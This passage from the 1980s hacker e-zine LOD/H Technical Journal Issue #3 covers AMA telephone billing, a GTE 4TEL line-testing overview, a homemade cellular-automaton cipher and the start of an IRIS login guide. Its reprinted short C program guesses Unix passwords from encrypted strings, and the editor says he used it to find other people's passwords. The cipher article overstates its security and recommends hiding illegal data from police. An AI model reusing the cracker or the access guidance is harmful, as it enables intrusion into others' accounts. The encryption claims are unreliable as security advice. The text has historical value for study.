harmful purposes, such as billing calls to other people, or causing confusion and disorder at any internal points in the telco. Such actions do not make a person a phone phreak. However, if you find out anything interesting concerning AMA that isn't included here, or anything about independent telcos billing systems, feel free to let me know. If you wish to contact me concerning this article, you can find me on a few BBS's. I will attempt to answer any questions anyone might have, and would like to hear from anyone who has a valid interest in the workings of the phone systems. =============================================================================== Thanks go out to all the people (too many to mention) who have contributed any information (no matter how small or large) to this article. Other information for this article has been taken from switching system messages, Bell System Technical Journals, Bell Labs RECORDs, Bellcore documents, and various other technical literature and information. I hope someone likes this article because it took a very long time to complete. =============================================================================== ---------------------- Shooting Shark's PW Hacker Update --------------------- The following is a reprint of Shooting Sharks' post which he provides another program which can be typed quickly or uploaded to the unix system of your choice. This program can be used to ensure that the algorithm does work and you could then proceed to upload his program from Issue #2 for more extensive password finding. I was able to get his HPW.C program to run perfectly, and have found quite a few passwords by having it check passwords with dictionary entries and other files of probable passwords. -Lex Luthor Taken from: The Free World II 301-668-7657 BBS (no longer up) %> When: 9-19-87 at 3:46 am Since three people have told me my source won't compile on their system, I've taken the suggestion and put together a *very* stripped-down version of my HPW.C program from Issue #2. Now it's basically a 20-line engine that you can use to verify that the algorithm does indeed work (try it with your own password) and then add whatever bells and whistles you want (like reading words from a file, etc.) The version presented here just prompts the user for the encrypted password string, and then goes into an endless loop where it reads a password attempt from the keyboard, encrypts and compares it, and tells the user if it's the correct password. It calls no external routines besides crypt(), printf(), scanf(), strcmp() and exit(). crypt() is absolutely essential to the program, and the rest are defined in K&R so this program had *better* work on your unix system! Here it is. Sorry for the hassles the old version gave anybody although some people were able to get it to run quite nicely. - - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - - int len; char crbuf[30], *crypt(), *pw, pwbuf[10]; main() $ printf("first, carefully type the ENCRYPTED password string:Xn>"); scanf("%s",crbuf); printf("Now, type a password attempt at the prompt. type QUITXn"); printf("(yes, in caps) on a blank line to quit...XnXn"); for (;;) $ printf("try >"); scanf("%s",pwbuf); if (!strcmp(pwbuf,"QUIT")) break; pw = crypt(pwbuf,crbuf); if (!strcmp(pw,crbuf)) $ printf(" ==> %s is correct.Xn",pwbuf); exit(0);   printf("done.Xn");  - - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - - The LOD/H Technical Journal, Issue #3: File 05 of 11 *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* (L) (L) (O) An Overview of the Teradyne 4Tel System (O) (D) (D) (+) by (+) (+) (+) (+) Doom Prophet (+) (L) (L) (O) Legion of Doom/Hackers! (O) (H) (H) *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* 4TEL is a loop testing system mainly used by General Telephone (GTE) that consists of a Voice Response System and a Craft Dispatch Section as well as the facilities and equipment used for testing functions. The following text will attempt to dispell many of the 4TEL myths that have been created in the past years, such as the idea that it can be used to eavesdrop on lines within its serving area. The information provided has been gained from company publications and from personal experience. A 4TEL is not the same thing as a REMOBS, which stands for REmote service OBservation System. The portion of the system that some of the phreak/hack population is familiar with is the Voice Response System, which has normal POTS dialups. This system greets the user with an announcement message and then asks for a password, which is entered in DTMF tones. The legitimate use of these dialups are for outside craft personnel (linemen) to call in, perform tests and receive the results for subscribers' lines. The VRS is provided so craft personnel can access the 4TEL system at times when no one is at the testboard (at nights or weekends). Through the VRS, up to 8 craft/technicians can access 4TEL at the same time, enabling them to get more done in a smaller amount of time. After a password has been accepted by the system, the electronic voice will ask for the line number that the user wishes to be tested. The number entered will be read back to ensure correct entry. The system will then ask for the user to enter the mode. The modes are: 1: Calling on other line 2: Calling on test line 3: Line test results It is possible on some VRS's to get a listing of the modes by dialing 0 when the voice prompts. Line tests are possible from both modes 1 and 2 by dialing the octothorpe (#) key. The results of the test will be announced along with the length of the cable in miles. Bridged ringers, if any, will also be noted. Mode 3, the line test results section, will tell the user there are no test results available unless they have beeen previously entered. The 7 key is the monitor command from both test modes. If there is speech on the line, it will be detected electronically but will NOT be heard by the user. The monitor command is not 'REMOBS' (Remote Observation) but a method of determining if the line is busy due to normal means (conversation) or due to some trouble condition at the switch. When the system asks for the ID code for a monitor command, the system will accept the line number as well as the initial password, and even a secondary password before dialing, but it has not been determined by the author if this is a standard for every 4TEL. Not just anything will work for the monitor password however as it will announce if the ID code entered is invalid or not. If mode 1 is entered, these commands are available: MODE ONE COMMANDS: 1-Fault location 2-Other Testing 7-Test OK, monitor 8-Hang up 9-Enter next line number If option 7 is chosen, another menu will be available if the line tests busy. 2-Monitor test 3-Overide and test 4-Wait for idle If suboption one (Fault location), mode one, is chosen, these commands are available: 1-Open location 3-Short location 4-Cross location 5-Ground location 8-Hang up If suboption two (Other testing), mode one, is chosen, these commands are available: 2-Loop ground Ohms 3-Dial tone test 4-Pair ID 8-Hang up MODE TWO COMMANDS: 2-Other testing 7-Test OK, monitor 8-Hang up 9-Enter next line number If suboption 2 (Other testing), mode two, is selected, these commands are available: 2-Loop ground Ohms 8-Hang up The 4TEL system's main use is for standard testing, which is done nightly upon every line in an exchange. This locates faults and problems before they have to be reported by customers. All lines that have trouble detected upon them are printed out in a report at the repair center the next morning where the proper fault location and dispatching can be done. The measurement and test unit of the 4TEL system is called a COLT, Central Office Line Tester, which performs all nightly and on demand testsupon the exchange through local test trunks. There are a few different types of COLTs. The standard version will serve any CO for up to 10,000 subscribers. The COLT RS is used in rural step by step offices (referred to as 'steppers' also) for up to 1,300 lines. The Digital COLT is used for digital Central Offices. These can have remote Colt Measurement Units (CMU's) for remote switches which are controlled by the Colt Computer Unit (CCU) at the host switch. The CMU speed calls the CCU at night to start the testing and direct the operations. The CMUs in regular end offices have digital links (over the normal telephone network) with the SAC, which is how the line test results are distributed to the repair center. The 4TEL system can also test lines upon command by a human operator at the SAC (Service Area Computer). The CRT operator enters the line number in the proper field and 4TEL runs a full series of tests as well as displaying past line history, fault summary, volts and current information, and the cable length. The results of the testing are displayed in plain english, as opposed to decimal or other format, on the screen. A dispatch decision is also displayed after every line test to determine if a dispatch is needed. SAC's ----- The SAC is the centralized focal point for 4TEL control and reporting. This computer is located in the repair center and distributes test/work information between CRT's and COLT's. The SAC formats the results of routine testing into a daily advisory report as mentioned earlier. There are several types of 4TEL reports that are worth noting. The DISPATCH report lists troubles that can have an immediate dispatch for them. These also tell the location of the fault (cable, CO, station, etc.) and are classified into two types, moderate and severe, relating to how service affecting the problem may be. The CABLE report lists all new cable faults. A Plant Status report summarizes the condition of the outside plant and totals them per individual exchange. In these reports, trouble conditions can be listed in a variety of ways. CROSSES and WETS refer to line insulation faults and may indicate water penetration of the cable. SHORTS and GROUNDS are insulation faults at the station set. OPENS refer to a broken, or 'open' Ring or Tip lead in a Cable Pair. BACKGROUND refers to electrical noise caused by power lines being nearby. ABNORMAL VOLTAGE indicates high voltage conditions. There are others, but the reader will hopefully get the idea from the ones listed above. CDS --- Another major part of the 4TEL system is the Craft Dispatch System, which is a DTMF and speech response setup used to exchange report and schedule information between the repair center staff and outside craftspersons. Linemen call in to get dispatch information that has been previously entered by the dispatcher. CDS plays back the info one field at a time. When the craft personnel is ready to receive the next field of information, he simply says 'Go' and the system continues. A printer at the repair center informs the dispatcher when a craftsperson has received a report. When the trouble is taken care of, a completion report is done on the CDS in which it asks for the closeout and schedule one field at a time to be entered in DTMF and in speech. The clerk at the repair center then closes the trouble on the SAC/4TEL system after the line is tested a final time to ensure proper operation. CDS may also have audit trails of every transaction for a certain time period. So to summarize the work flow for involving the CDS: Irate customer calls the clerk at the repair center. The information is forwarded to the dispatcher who enters it into CDS. Craft personnel call in and receive the messages, do the required work, then file a completion report. The clerk then closes out the trouble in SAC/4TEL. The Digital Concentrator Measurement Unit is another component of the 4TEL testing equipment that is used to test lines in digital concentrators such as the GTE MXU and the NTI-OPM. They are located inside Digital Loop Carrier system remote terminals or huts and consist of a circuit board and measuring system. It provides AC and DC measurements of subscriber loops, as well as all the normal test/measurement functions such as fault description and location , dispatch messages, and special tests. The DCMU can test the lines of an individual DLC remote terminal, or a group of terminals that are located together. The capacity of terminals that the DCMU can test is determined by analysis of test traffic and economic factors as well. Both the CRT at the SAC and the VRS are compatible with the DCMU. These units are self calibrating, unlike the PMU's of an LMOS supported Loop Testing System. The 4TEL CCU is linked to the DCMU via either a 1200 baud dial up or a dedicated link, depending upon the size of the office. Some of the tests that 4TEL performs are loop and ground resistance (which detects resistance faults and sheath ground problems), dial tone test (in which the number of times dial tone can be drawn during a certain period is recorded) , busy line monitoring (not BLV or REMOBS), coin station tests (totalizer, coin relay, etc), as well as all the standard tests which were covered above. A pair identification can also be done, in which a tone is placed on the pair to help those at terminal cabinets locate that specific one, similar to the LMOS/MLT tone applique function. Miscellaneous notes ------------------- If a user enters the number of the 4TEL system they have dialed in upon, the system will announce an intercept. A user cannot monitor/test Directory Assistance through 4TEL. Lines that are out of the system's NPA can be tested also, but a 1 has to be dialed before the number just like an ordinary toll call. The 4TEL VRS will give the user a 'beep' tone after a few seconds of waiting for input. If the user doesn't enter anything, the VRS will disconnect. A version of 4TEL is also used by Rochester Telephone in New York, and there may be other independent companies that use the system. Try to find out what system you're served by. If you're in a Bell area, it will most likely not be 4TEL, but LMOS. I hope that this article has helped readers to better understand the way the 4TEL system operates. Again, there may be some differences depending upon the area and the company. Thanks go to Taran King, Phantom Phreaker, and Lucifer 666 for supplying information in one way or another that contributed to this file. Doom Prophet/LOD The LOD/H Technical Journal, Issue #3: File 06 of 11 ||||||||||||||||||||||||||||||||||||||||||||||||||| +-+-+-+-+-+-+/ X+-+-+-+-+-+-+ X L X Secure Data Encryption with Cellular Automatons / L / X O X / O / X D X by / D / +-+-+-+ +-+-+-+ X L X The Mentor / L / X O X / O / X H X A Legion of Doom Presentation! / H / +-+-+-+ +-+-+-+ X_X_X_X_________________________________/_/_/_/ One of the key issues that concerns anyone who has sensitive or illegal information on their computer system is preventing unauthorized access to this information. Even if you hit a key that deletes everything on the hard disk when you see that four-door sedan pull up in the driveway, any idiot with Norton's Utilities (IBM) or Copy II+ (Apple) can recover anything that's on your drive with minimal effort. A delete command only changes a flag in the VTOC (volume table of contents), it doesn't actually *remove* the file from your system. There are two methods to ensure that your data can't be read by a sector editor or recovered by NU. The first is to overwrite everything with a NULL (FF) or anything else for that matter. I've seen one batch file that does a global delete, creates a file that says 'EAT HOT DEATH', and then begins copying it until disk space is full. Unfortunately, you can't always guarantee that you will be able to get to your computer before someone else does. The second method is to encrypt your data. Most people have visions of data encryption being some sort of arcane process akin to summoning demons or talking with Dead Cow Cult members (two closely related process- es.) In practice, it isn't that difficult. This file is intended to show some very short programs that will encrypt data beyond the ability of any- thing short of a dedicated mainframe to crack. How to use: The code examples I provide will be in MicroSoft's AmigaBASIC. It is fairly generic and you should be able to convert it over to IBM, //e,c,gs, Mac, ST, C64, or any flavor of mainframe you like. For those of you setting up systems on Packet-Switched Networks (such as the LOD/H system one of our members is implementing) data encryption should be considered absolutely necessary to maintain security. The terseness of the routines make them easy to insert in a bulletin board also, although conversion into C or Assembly would be necessary for decent speed. Intro to Cryptography: Long before computers were around, there was a need for data security. Everyone used lemon juice as 'invisible ink' when they were a kid, heating it over a candle to bring it out. And everyone has seen the substitution code where "A" = 1, B = "2", "Z" = 26, etc... The easiest form of encryption involves a variation of the previous. First of all, don't think of A = 1 as a substitution, think of it as a remapping. Let's say we have a language made up of the five vowels, and we wanted to remap them to the numbers 1-5. Our map would look like this: "AEIOU12345" and our mapping function would be f(c) = POSITION(c) + x where c = the letter to map and x is the key (in this case 5.) So every time we needed to encrypt a letter, we would take its position in the map, add 5 to it, and come up with the character to substitute. For the entire alphabet, the mapping function would be f(c) = POS(c) + 26 for the map "A..Z,1..26". Your map should be composed of all the characters that will be used for encryption. In a text only encrypter, this will consist of all the printable characters your machine can use. The same method can be used to encrypt binary files, but it's not as clear as text only for a teaching example. The problem with this simple form of encryption is that your average C64 could crack it in a matter of minutes. Enter into the next level of cryptography, random numbers. During World War II the Allied Forces created a system to generate random electric noise, recorded this noise onto a wax cylinder, and scram- bled radio transmissions by mixing the seemingly random noise with the voice transmission. The soldiers in the field needed an imprint of the same cylinder to be able to understand the message. Think of the wax cy- linder as a 'filter' for the crypted message. A random number generator can be easily used to encrypt data providing you realize the following- a random number generator on a computer is not really random. If you initialize the generator with the same seed value on two seperate occasions, it will return the same sequence of psuedo- random numbers. Most BASIC's use the RANDOMIZE command to start the generator off. If you leave off the seed, they get a seed from the system clock or some other fairly random source, providing a much truer random selection. But by declaring the seed yourself, you can be sure that you will be able to reference this same string of numbers, a string that is very hard to figure out without the key (seed.) Program Listing 1 is an example of a BASIC encrypt/decrypt system that uses the built-in random number generator include on the machine (or language implementation.) Program Listing 1 ----------------- REM ************************************************************************ REM REM Ok, this is an example of very basic encryption. It takes the input REM string and the input key and processes them using the machine's built REM in random number generator. This version is written in AmigaBASIC 1.2. REM It can be compacted quite a bit by writting it in C, but it's an easy REM algorithm to crack. REM REM ************************************************************************ INPUT "String to be encoded"; C$ INPUT "Key Please! ";K REM ************************************************************************ REM REM When you use the RANDOMIZE command, it seeds the random number gener- REM ator with the key K. *EVERY* time you seed the generator with the same REM value, you will get the same sequence of psuedo-random numbers. Since REM the built in random-number generator uses a linear algorithm to gener- REM ate the sequence, it's easy (relatively) to crack. REM REM ************************************************************************ RANDOMIZE K REM ************************************************************************ REM REM The only difference between encoding and decoding is which way you REM move in your Q$ array space. Encoding takes the original and shifts REM to the right, decoding takes the codes value and shifts to the left. REM REM ************************************************************************ REREAD: INPUT "Encode or Decode ? ";A$ A$=LEFT$(A$,1) IF A$="E" OR A$="e" THEN A=1 GOTO HEAD END IF IF A$="D" OR A$="d" THEN A=-1 ELSE GOTO REREAD END IF REM ************************************************************************ REM REM Q$ contains all the characters that can be encoded. Every encoded REM character will be mapped to a character in this array. I haven't REM included any non-standard characters, so you will have to customize REM it to your particular keyboard/system. I've included an error check REM that will abort the encryption if it encounters a character that isn't REM in Q$. I have to use the STRING$ command to insert the spacebar and REM the quote into the string. It could also be done with a ASC(##) in REM many basics. You could expand this to include any non-printable REM characters you'd like so you could do non-text files. REM REM ************************************************************************ HEAD: SPACE = 32 QUOTE = 34 Q$="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" Q$=Q$+"1234567890!@#$%^&*()-=_+[]$;:'.,<>/?X|D" Q$=Q$+STRING$(1,SPACE)+STRING$(1,QUOTE) QSIZ = LEN(Q$) REM ************************************************************************ REM REM This is the main loop. L = length of the string to encrypt. In this REM example, I am only encrypting a single string. Most people who will REM actually use this will change the FOR loop to run until an EOF is REM encountered in the input file. Since the syntax for that will vary REM widely from system to system, I'll leave it out. REM REM ************************************************************************ L=LEN(C$) FOR I = 1 TO L REM /* Finds the character I in the input string */ X$ = MID$(C$,I,1) REM /* Finds the integer location of the character in Q$ REM returns variable POZ */ GOSUB LOKPOZ REM /* RND returns a random # between 0 and 1. Multiply it by the REM size of array Q$ and you get the number of positions to move REM when encoding or decoding. */ POZMV = (RND * QSIZ) REM /* If you are encoding, you will shift to the right using addition. REM you take the modula base QSIZ to keep the new character within REM the bounds of Q$. */ IF A = 1 THEN NUPOZ = (POZ + POZMV) MOD QSIZ ELSE REM /* Otherwise, you subtract, which takes a bit more math to keep REM up with. Once you have the distance to shift, you must REM convert it to a positive integer and then subtract two to REM account for the head & tail of the array. */ NUPOZ = (POZ - POZMV) MOD QSIZ NUPOZ = NUPOZ -2 IF NUPOZ < 1 THEN NUPOZ = QSIZ - ABS(NUPOZ) END IF END IF REM /* Now you assign the new character in array Q$ to Y$, and append REM it to your converted string */ IF NUPOZ < 1 THEN NUPOZ = QSIZ - ABS(NUPOZ) END IF Y$ = MID$(Q$,NUPOZ,1) D$ = D$ + Y$ NEXT I PRINT "Original = ";C$ PRINT "Modified = ";D$ END REM /* This finds character X$ in array Q$ and returns an integer REM value of the location. Called from the main loop. */ LOKPOZ: FOUND = 0 POZ = 1 TOP: IF FOUND = 1 THEN RETURN ELSE TMP$ = MID$(Q$,POZ,1) IF X$ = TMP$ THEN FOUND = 1 END IF POZ = POZ + 1 IF POZ > QSIZ THEN PRINT "Error: Character '";X$"' not in array Q." END END IF END IF GOTO TOP REM ********************************************************************** End of Program Listing 1 This method, while extremely simple, tight, and fast, is not fool- proof. Most computers use the following algorithm for generating pseudo- random number sequences: x(t+1) = ax(t) + b x(t+1) = next random number x(t) = previous random number a & b are constants that will cause a fairly even distribution For example, if you were using a three-bit system (8 possible postive integers) you might make a = 3 & b = 7 (there's a reason behind using prime numbers that is beyond the scope of this file.) If you seed the argument with RANDOMIZE 5 you would get the following: First x: x = 3*5 + 7 | Since we're restricting ourselves to three bits, and 22 won't fit in three bits, we'd need to perform a modula 8 on the number. (Modulo divides x by eight and keeps the remainder as the new value of x.) So MOD(22,8) is equal to 6 (16 + 6 = 22). Ok, let's do some simple mapping using our vowel set and the above three-bit random number generator. Let's say that the message reads "AAEOU" Our first random number was 6. Our map looks like "AEIOU12345". POS(A) + 6 gives us 2 as the character. Second x: x = 3*6 + 7 | MOD (25,8) = 1 | POS(A) + 1 gives us E. Third x: x = 3*1 + 7 | MOD (10,8) = 2 | POS(E) + 2 gives us O. Fourth x: x = 3*2 + 7 | MOD (13,8) = 5 | POS(O) + 5 gives us 4. Fifth x: x = 3*5 + 7 | MOD (22,8) = 6 | POS(U) + 6 wraps around the map to A. So our original "AAEOU" is crytped into "2E04A". This may at first seem difficult to crack since 'A' mapped into a '2' on one pass and an 'E' on the other, thus preventing a freuquency analysis from breaking the code. Unfortunately, if someone knows the random number algorithm, they can easily hack out the key. Since most of the people using this will be using it on a pc, it would be trivial to get another pc to hack it out. And even if you protect your random number algorithm, it is still a straight linear algebra problem that an AT could work on over a weekend and probably figure it out, especially if there is a fairly small map to work with. Solution: What we need to do is combine the random mapping with a random number generator that is tougher to figure out. Enter cellular automatons. CA's were first invented in the 1940's when John von Neumann (he of the famous bottleneck) started to explore the mathmatic implications of very simple machines. CA's are made of geometric patterns of cells that change their state at each tick of a clock according to a fixed rule. Early work provided automatons that could imitate a basic computer. Since the CA's are inherently parallel (the entire geometry is updated each clock tick) and easy to put on a chip, there is speculation that the next generation of parallel processing computers will use CA's as a base rather than the Turing machine model. You have probably seen a CA at work and not realized it if you've ever seen the computer graphic simulation 'LIFE' developed by John Conway at MIT to model real organisms. The rule for automaton reproduction was incr- edibly simple: If a cell has two or three neighbors, no change in the cell. Fewer or more neighbors, it starves or is overcrowded to death, and repro- duction occurs when a blank space has exactly three neighbors. Using these simple rules, incredibly complex patterns can be produced. Anything that can produce complex and varied results from a small algorithm is a good target for a random number application. Enter Steven Wolfram from the Institute of Advanced Studies in Princeton, NJ. Wolfram has been doing research on one-dimensional cellular machines, which have the advantage of being able to work with both todays machines and future parallel machines. Wolfram has developed an automaton that is a one dimensional circular array modified by the rule: a(x,t) = a(x-1,t-1) XOR (a(x,t-1) OR a(x+1,t-1)) MOD k Where x is the position in the array and t is the time, k is the number of available characters (k = LEN(Q$)), and a is the one-dimensional array. This rule has several interesting properties. The problem we had with linear algorithms was that simple algebra could be used to analyze the evolution of the algorithm (the patterns produced.) All that you have to do is figure out how *one* cell evolves, then apply that pattern across the entire array. In the above case, there is no way of analyzing the array at time t without loading the initial conditions and running the whole thing. The second thing to note is that there are k to the power of w (where w is the width (number of cells) in array a) possible states the machine can be in, and not all of these states have a predecessor that generates it. These states are called 'Garden of Eden' states, and can only occur if they are set as an ititial condition. As a result, this rule is neither a one-to-one mathmatical mapping, nor is it and onto mapping of the set of arrays into itself. In laymans' terms, this means that for any given array state it is impossible to tell what (if any) previous state generated it by mere pattern analysis. While this isn't a file on breaking codes- about the only way to crack this one that's been discovered is to load *every* k**w state into memory and page through them searching for a pattern. This method can be defeated easily by setting w to more than 30 cells (assuming k=256, all the ASCII characters.) If you are using my array Q$, you might want to set w to 40 or more. Since 256 to the 30th power is about a zillion bits, roughly equal to the largest memory bank in existence, there isn't much chance of anyone breaking it. For the truly paranoid, set w to 50 and sleep easy at night. Anyway, back to the algorithm... Each of the cells is filled on one of the k integers from 0 to k-1, giving each cell k possible states. Wolfram found that the string of bits occupying the 0 position (a(0,1), a(0,2), a(0,3)...) forms a random sequence that passes all statistical tests, sometimes with better results than standard DES algorithms. Let's break this down and see what it's doing. First of all, we will need two arrays. Each array is set up thus: Array for Time One |------| |------| |------| |------| |---->|a(0,1)|------>|a(1,1)|------>|a(2,1)|----->|a(3,1)|-----| | |------| |------| |------| |------| | |--------------------------------------------------------------| Array for Time Two |------| |------| |------| |------| |---->|a(0,2)|------>|a(1,2)|------>|a(2,2)|----->|a(3,2)|-----| | |------| |------| |------| |------| | |--------------------------------------------------------------| The reason we need two arrays is so you can update the array without destroying anything in it. In other words, you start out with array 1 active, then you update the array into array 2 and change the active array to 2. On the next clock tick you will update the active array (now 2) into the inactive one (now 1) and set the active array back to 1. You keep swapping like this. Logically, you only have one array- the active one. To initialize the array, the ASCII values of each character in the key are plugged into the first LEN(KEY$) spaces in the array. If you want to use a short key, modify the code to fill the *entire* array with values of the key (keep repeating a loop from 1 to W pulling characters out of K). Since the key can be anything printable, use something 10-20 characters long that you can remember- "HACK TO LIVE, LIVE TO HACK" is one of my favorites. Anyway, if you use a short (less than 10) key in this program, the distri- bution will be skewed for the first W MOD LEN(KEY$) itereations of the automaton, but will smooth out nicely after that. After the array is filled, it operates exactly like the first program *except* when it need a random number of positions to move. Then it drops down, updates each cell in the automaton, and then reads the value in A(0,time) as the random number to shift by. Let's look at the modified encryption code. REM ************************************************************************ REM REM This is an modification of Program 1 that doesn't use a machine REM specific random number generator, but instead uses a cellular automaton REM algorithm. W is the width of the actual automaton. A is dimensioned REM at 32 to avoid having to reference element 0 of the array, which is REM legal on some systems and illegal on the others. This way it can REM be implemented on anything. Y is set for time 1, Y1 for time 2. REM These correspond to the second dimension in array A. REM REM ************************************************************************ W = 30 DIM A(32,2) Y = 1 Y1 = 2 REM ************************************************************************ REM REM Once again, you can set this up to use files instead of strings. And REM note that, unlike the first example, the key doesn't have to be REM numeric. REM REM ************************************************************************ INPUT "String to be encoded"; C$ INPUT "Key Please! (Can be alpha-numeric) ";K$ REM ************************************************************************ REM REM This is where K$ is broken down into a series of characters and their REM ASCII value shoved sequentially into array A. REM REM ************************************************************************ FOR I = 1 TO LEN(K$) T$ = MID$(K$,I,1) A(I,Y1) = ASC(T$) NEXT I REM ************************************************************************ REM REM The only difference between encoding and decoding is which way you REM move in your Q$ array space. Encoding takes the original and shifts REM to the right, decoding takes the codes value and shifts to the left. REM REM ************************************************************************ REREAD: INPUT "Encode or Decode ? ";A$ A$=LEFT$(A$,1) IF A$="E" OR A$="e" THEN A=1 GOTO HEAD END IF IF A$="D" OR A$="d" THEN A=-1 ELSE GOTO REREAD END IF REM ************************************************************************ REM REM Q$ contains all the characters that can be encoded. Every encoded REM character will be mapped to a character in this array. I haven't REM included any non-standard characters, so you will have to customize REM it to your particular keyboard/system. I've included an error check REM that will abort the encryption if it encounters a character that isn't REM in Q$. I have to use the STRING$ command to insert the spacebar and REM the quote into the string. It could also be done with a ASC(##) in REM many basics. You could expand this to include any non-printable REM characters you'd like so you could do non-text files. REM REM ************************************************************************ HEAD: SPACE = 32 QUOTE = 34 Q$="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" Q$=Q$+"1234567890!@#$%^&*()-=_+[]$;:'.><,/?X|" Q$=Q$+STRING$(1,SPACE)+STRING$(1,QUOTE) QSIZ = LEN(Q$) REM ************************************************************************ REM REM This is the main loop. L = length of the string to encrypt. In this REM example, I am only encrypting a single string. Most people who will REM actually use this will change the FOR loop to run until an EOF is REM encountered in the input file. Since the syntax for that will vary REM widely from system to system, I'll leave it out. REM REM ************************************************************************ L=LEN(C$) FOR H = 1 TO L REM /* Finds the character I in the input string */ X$ = MID$(C$,H,1) REM /* Finds the integer location of the character in Q$ REM returns variable POZ */ GOSUB LOKPOZ REM /* CELLULAR updates the cells in the automaton, switches the active REM time value, and returns X as the number of positions to shift. */ GOSUB CELLULAR REM /* If you are encoding, you will shift to the right using addition. REM you take the modula base QSIZ to keep the new character within REM the bounds of Q$. */ IF A = 1 THEN NUPOZ = (POZ + X) MOD QSIZ ELSE REM /* Otherwise, you subtract, which takes a bit more math to keep REM up with. Once you have the distance to shift, you must REM convert it to a positive integer and then subtract two to REM account for the head & tail of the array. */ NUPOZ = (POZ - X) MOD QSIZ NUPOZ = NUPOZ - 2 IF NUPOZ < 1 THEN NUPOZ = QSIZ - ABS(NUPOZ) END IF END IF REM /* Now you assign the new character in array Q$ to Y$, and append REM it to your converted string */ IF NUPOZ < 1 THEN NUPOZ = QSIZ - ABS(NUPOZ) END IF Y$ = MID$(Q$,NUPOZ,1) D$ = D$ + Y$ NEXT H PRINT "Original = ";C$ PRINT "Modified = ";D$ END REM /* This finds character X$ in array Q$ and returns an integer REM value of the location. Called from the main loop. */ LOKPOZ: FOUND = 0 POZ = 1 TOP: IF FOUND = 1 THEN RETURN ELSE TMP$ = MID$(Q$,POZ,1) IF X$ = TMP$ THEN FOUND = 1 END IF POZ = POZ + 1 IF POZ > QSIZ THEN PRINT "Error: Character '";X$"' not in array Q." END END IF END IF GOTO TOP REM *********************************************************************** REM REM This is the cellular automaton REM REM *********************************************************************** CELLULAR: REM /* Goes through the loop updating into the inactive time (1 or 2 dep- REM ending on how Y and Y1 are assigned) */ FOR I = 1 TO W A(I,Y) = A(I-1,Y1) XOR (A(I,Y1) OR A(I+1,Y1)) NEXT I REM /* Updates the ends of the array (logical positions 0 and 31) that REM are used in calculating other fields. */ A(0,Y) = A(W+1,Y1) XOR (A(0,Y1) OR A(1,Y1)) A(W+1,Y) = A(W,Y1) XOR (A(W+1,Y1) OR A(0,Y1)) REM /* Assigns the first cell to X as a random number */ X = A(1,Y) REM /* Flips the active time */ TMP = Y Y = Y1 Y1 = TMP RETURN Ok, let's trace through a *small* example. Assume our earlier map of "AEIOU12345" and an automaton of width 5. For a key, we'll use "A15". 1) Assign ASC(A) to a(1,1), ASC(1) to a(2,1), ASC(5) to a(3,1). ("0" will represent an empty cell in this example.) A(time 1) = 0 65 49 53 0 0 0 (Remember that an array of width 5 is going to have 7 actual elements) 2) Now then, we want to encrypt the string "EE3" First, we locate where E is in our map. LOKPOZ("E") = 2 3) Now then, we update the automaton. a(1,2) = 0 XOR (65 OR 49) a(2,2) = 65 XOR (49 OR 53) a(3,2) = 49 XOR (53 OR 0) a(4,2) = 53 XOR (0 OR 0) a(5,2) = 0 XOR (0 OR 0) Since this isn't a tutorial on binary numbers and boolean algebra, you'll have to trust me on this one... a(1,2) = 113 a(2,2) = 116 a(3,2) = 4 a(4,2) = 53 a(5,2) = 0 4) Now we update the ends. a(0,2) = 0 XOR (0 OR 65) a(6,2) = 0 XOR (0 OR 0) Again... a(0,2) = 65 a(6,2) = 0 5) Now we switch the active time from 1 to 2, and our new automaton is a(time 2) = 65 113 116 4 53 0 0 6) We then pull off a(1,2) as the number to shift by. 7) Postion 2 + 113 (we're encoding, so we add) is 5 (modulo arithmatic.) 8) "E" is encoded into "U". 9) We repeat this two more times (you don't really want me to step through it all, do you?) and end up with the encrypted version. Well, that's going to pretty much wrap this file up. If you are interested in more files of this nature, let me know. If you find this totally confusing, but want to learn more, call The Phoenix Project at 512/441-3088 (300/1200/2400, 24 hours a day). Our friendly and helpful LOD/H staff will be glad to assist you. Other people who you might want to talk to about encryption include Dr. Cypher, Tuc, and Prime Suspect. Also, if you are interested in seeing the above algorithm applied in other languages let me know. If there's enough of a demand I'll release C, Modula-2, and ADA versions. This has been a Legion of Doom/Legion of Hackers presentation! The Mentor LOD/H ***************************************************************************** References and Acknowledgments: "How to Generate Cryptographically Strong Sequences of Pseudo-Random Bits"; M. Blum & S. Micali; SIAM Journal of Computing, vol. 13, p. 850 (1984) "Functions of Random Variables"; John Freund & Ronald Walpole; Mathmatical Statistics, 4th Edition; Prentice-Hall Inc., NJ; pp. 240-71 "Building an Encryption System"; Peter Wayner Computer Language, Vol. 4, Num. 12, p. 67 (Dec. 1987 Issue) "Random Sequence Generation by Cellular Automata"; Institute for Advanced Study; Advances in Applied Mathmatics; "Breaking Pseudo-Random Number Based Cryptographic Algorithms"; M. Vahle & L. Tolendino; CRYPTOLOGIA, Oct 1982, p. 319 Also my thanks to: TUC, The Leftist, Prime Suspect, and Dr. Cypher, who all contributed to this one way or another. *************************************************************************** The LOD/H Technical Journal, Issue #3: File 07 of 10 IIIIIIIIII RRRRRRRRRR IIIIIIIII SSSSSSSSSS II RR RR II SS SS II RR RR II SS II RRRRRRRRR II SSSSSSSSS II RR RR II SS II RR RR II SS SS IIIIIIIIII RR RR IIIIIIIII SSSSSSSSS #:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:# | | # Introduction to The Iris Operating System # | | # by # | | # The Leftist # | | # The Legion of Doom/Hackers # | | #:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:# IRIS Iris is an operating system which most people have heard little or nothing about. Many Businesses across the country are starting to use computers which support the IRIS operating system. IRIS is not new though, it was originally written to run on PDP-11, Data General, and Royal Systems. IRIS has grown in popularity due to the major revisions which have been made over the years and is a fairly easy system for anyone to learn. This article, though not a complete guide to IRIS, will give you the basic knowledge neccesary to identify, enter, and access information once in. Finding IRIS ------------ You'll know you've found an IRIS system by its login banner, which usually looks like this: Welcome to "IRIS" R9.1.4 timesharing This is Dr. BOB'S OFFICE! ACCOUNT ID? Logging in ---------- To log into an IRIS system after connecting press the escape key. You should get a message asking for account ID at which point you would enter your ID followed by a 